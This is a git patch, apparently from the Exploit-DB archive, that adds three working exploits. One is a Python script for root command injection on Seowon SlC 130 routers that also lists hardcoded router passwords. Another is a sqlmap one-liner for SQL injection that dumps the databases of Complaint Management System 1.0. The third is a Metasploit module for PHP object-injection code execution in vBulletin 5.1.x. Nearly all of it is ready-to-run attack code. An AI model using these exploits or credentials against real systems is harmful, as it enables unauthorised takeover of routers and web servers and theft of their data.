From 3b08fb4f1e819d61e5f0849f0834ef9658d6aadf Mon Sep 17 00:00:00 2001 From: Offensive Security Date: Sat, 22 Aug 2020 05:01:52 +0000 Subject: [PATCH] DB: 2020-08-22 3 changes to exploits/shellcodes Complaint Management System 1.0 - 'cid' SQL Injection Seowon SlC 130 Router - Remote Code Execution vBulletin 5.1.2 < 5.1.9 - Unserialize Code Execution (Metasploit) --- exploits/hardware/webapps/48759.txt | 92 ++++++++++++++++++++++++ exploits/php/webapps/48758.txt | 11 +++ exploits/php/webapps/48761.rb | 104 ++++++++++++++++++++++++++++ files_exploits.csv | 3 + 4 files changed, 210 insertions(+) create mode 100644 exploits/hardware/webapps/48759.txt create mode 100644 exploits/php/webapps/48758.txt create mode 100755 exploits/php/webapps/48761.rb diff --git a/exploits/hardware/webapps/48759.txt b/exploits/hardware/webapps/48759.txt new file mode 100644 index 000000000..da18a0e0e --- /dev/null +++ b/exploits/hardware/webapps/48759.txt @@ -0,0 +1,92 @@ +# Exploit Title: Seowon SlC 130 Router - Remote Code Execution +# Author: maj0rmil4d - Ali Jalalat +# Author website: https://secureguy.ir +# Date: 2020-08-20 +# Vendor Homepage: seowonintech.co.kr +# Software Link: http://www.seowonintech.co.kr/en/product/detail.asp?num=150&big_kind=B05&middle_kind=B05_29 +# CVE: CVE-2020-17456 +# Version: Lync:Mac firmware 1.0.1, likely earlier versions +# Tested on: Windows 10 - Parrot sec + +# Description: +# user can run arbitrary commands on the router as root ! +# as there are already some hardcoded credentials so there is an easy to trigger exploit + +# credentials : +# user => VIP +# pwd => V!P83869000 + +# user => Root +# pwd => PWDd0N~WH*4G#DN + +# user => root +# pwd => gksrmf28 + +# user => admin +# pwd => admin +# + +# A write-up can be found at: +# https://maj0rmil4d.github.io/Seowon-SlC-130-And-SLR-120S-Exploit/ + +import requests +import sys + +host = sys.argv[1] + +session = requests.Session() + +header = { + +"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0", +"Accept": "text/html,application/xhtml+xml,application/xml;q:0.9,image/webp,*/*;q:0.8", +"Accept-Language": "en-US,en;q:0.5", +"Accept-Encoding": "gzip, deflate", +"Content-Type": "pplication/x-www-form-urlencoded", +"Content-Length": "132", +"Origin": "http://192.168.1.1", +"Connection": "close", +"Referer": "http://192.168.1.1/", +"Upgrade-Insecure-Requests": "1" +} + + + +datas = { + + "Command":"Submit", + "expires":"Wed%2C+12+Aug+2020+15%3A20%3A05+GMT", + "browserTime":"081119502020", + "currentTime":"1597159205", + "user":"admin", + "password":"admin" +} + + +#auth + +session.post(host+"/cgi-bin/login.cgi" , headers=header , data = datas) + +#rce + +cmd = sys.argv[2] + +rce_data = { + + "Command":"Diagnostic", + "traceMode":"ping", + "reportIpOnly":"", + "pingIpAddr":";".encode("ISO-8859-1").decode()+cmd, + "pingPktSize":"56", + "pingTimeout":"30", + "pingCount":"4", + "maxTTLCnt":"30", + "queriesCnt":"3", + "reportIpOnlyCheckbox":"on", + "btnApply":"Apply", + "T":"1597160664082" +} + +rce = session.post(host+"/cgi-bin/system_log.cgi" , headers=header , data = rce_data) + +print("one line out put of ur command => " + rce.text.split('!')[1].split('[')[2].split("\n")[0]) \ No newline at end of file diff --git a/exploits/php/webapps/48758.txt b/exploits/php/webapps/48758.txt new file mode 100644 index 000000000..3c3cb54eb --- /dev/null +++ b/exploits/php/webapps/48758.txt @@ -0,0 +1,11 @@ +# Title: Complaint Management System 1.0 - 'cid' SQL Injection +# Exploit Author: Mohamed Elobeid (0b3!d) +# Date: 2020-08-21 +# Vendor Homepage: https://www.sourcecodester.com/php/14206/complaint-management-system.html +# Software Link: https://www.sourcecodester.com/download-code?nid=14206&title=Complaint+Management+System +# Tested On: Windows 10 Pro 1909 (x64_86) + XAMPP 3.2.4 +# Description +This parameter "cid" is vulnerable to Error-Based blind SQL injection in this path "/Complaint%20Management%20System/admin/complaint-details.php?cid=60" that leads to retrieve all databases. + +#POC +sqlmap -u 'http://target/Complaint Management System/admin/complaint-details.php?cid=60' --cookie="PHPSESSID=bb4g25d3qceicepo7b3d26cfpp" --dbms=mysql --dbs \ No newline at end of file diff --git a/exploits/php/webapps/48761.rb b/exploits/php/webapps/48761.rb new file mode 100755 index 000000000..92eef293d --- /dev/null +++ b/exploits/php/webapps/48761.rb @@ -0,0 +1,104 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'vBulletin 5.1.2 Unserialize Code Execution', + 'Description' => %q{ + This module exploits a PHP object injection vulnerability in vBulletin 5.1.2 to 5.1.9 + }, + 'Platform' => 'php', + 'License' => MSF_LICENSE, + 'Author' => [ + 'Netanel Rubin', # reported by + 'cutz', # original exploit + 'Julien (jvoisin) Voisin', # metasploit module + ], + 'Payload' => + { + 'BadChars' => "\x22", + }, + 'References' => + [ + ['CVE', '2015-7808'], + ['EDB', '38629'], + ['URL', 'http://pastie.org/pastes/10527766/text?key=wq1hgkcj4afb9ipqzllsq'], + ['URL', 'http://blog.checkpoint.com/2015/11/05/check-point-discovers-critical-vbulletin-0-day/'] + ], + 'Arch' => ARCH_PHP, + 'Targets' => [ + [ 'Automatic Targeting', { 'auto' => true } ], + ['vBulletin 5.0.X', {'chain' => 'vB_Database'}], + ['vBulletin 5.1.X', {'chain' => 'vB_Database_MySQLi'}], + ], + 'DisclosureDate' => 'Nov 4 2015', + 'DefaultTarget' => 0)) + + register_options( + [ + OptString.new('TARGETURI', [ true, "The base path to the web application", "/"]) + ]) + end + + def check + begin + res = send_request_cgi({ 'uri' => target_uri.path }) + if (res && res.body.include?('vBulletin Solutions, Inc.')) + if res.body.include?("Version 5.0") + @my_target = targets[1] if target['auto'] + return Exploit::CheckCode::Appears + elsif res.body.include?("Version 5.1") + @my_target = targets[2] if target['auto'] + return Exploit::CheckCode::Appears + else + return Exploit::CheckCode::Detected + end + end + rescue ::Rex::ConnectionError + return Exploit::CheckCode::Safe + end + end + + def exploit + print_status("Trying to inferprint the instance...") + + @my_target = target + check_code = check + + unless check_code == Exploit::CheckCode::Detected || check_code == Exploit::CheckCode::Appears + fail_with(Failure::NoTarget, "#{peer} - Failed to detect a vulnerable instance") + end + + if @my_target.nil? || @my_target['auto'] + fail_with(Failure::NoTarget, "#{peer} - Failed to auto detect, try setting a manual target...") + end + + print_status("Exploiting #{@my_target.name}...") + + chain = 'O:12:"vB_dB_Result":2:{s:5:"*db";O:' + chain << @my_target["chain"].length.to_s + chain << ':"' + chain << @my_target["chain"] + chain << '":1:{s:9:"functions";a:1:{s:11:"free_result";s:6:"assert";}}s:12:"*recordset";s:' + chain << "#{payload.encoded.length}:\"#{payload.encoded}\";}" + + chain = Rex::Text.uri_encode(chain) + chain = chain.gsub(/%2a/, '%00%2a%00') # php and Rex disagree on '*' encoding + + send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'ajax/api/hook/decodeArguments'), + 'vars_get' => { + 'arguments' => chain + }, + 'encode_params' => false, + }) + end +end \ No newline at end of file diff --git a/files_exploits.csv b/files_exploits.csv index 493c5d106..bff46ceb9 100644 --- a/files_exploits.csv +++ b/files_exploits.csv @@ -42998,3 +42998,6 @@ id,file,description,date,author,type,platform,port 48755,exploits/hardware/webapps/48755.txt,"Ruijie Networks Switch eWeb S29_RGOS 11.4 - Directory Traversal",2020-08-19,Tuygun,webapps,hardware, 48756,exploits/php/webapps/48756.txt,"ElkarBackup 1.3.3 - Persistent Cross-Site Scripting",2020-08-20,"Enes Özeser",webapps,php, 48757,exploits/hardware/webapps/48757.txt,"PNPSCADA 2.200816204020 - 'interf' SQL Injection (Authenticated)",2020-08-20,"İsmail ERKEK",webapps,hardware, +48758,exploits/php/webapps/48758.txt,"Complaint Management System 1.0 - 'cid' SQL Injection",2020-08-21,"Mohamed Elobeid",webapps,php, +48759,exploits/hardware/webapps/48759.txt,"Seowon SlC 130 Router - Remote Code Execution",2020-08-21,maj0rmil4d,webapps,hardware, +48761,exploits/php/webapps/48761.rb,"vBulletin 5.1.2 < 5.1.9 - Unserialize Code Execution (Metasploit)",2017-07-24,Metasploit,webapps,php,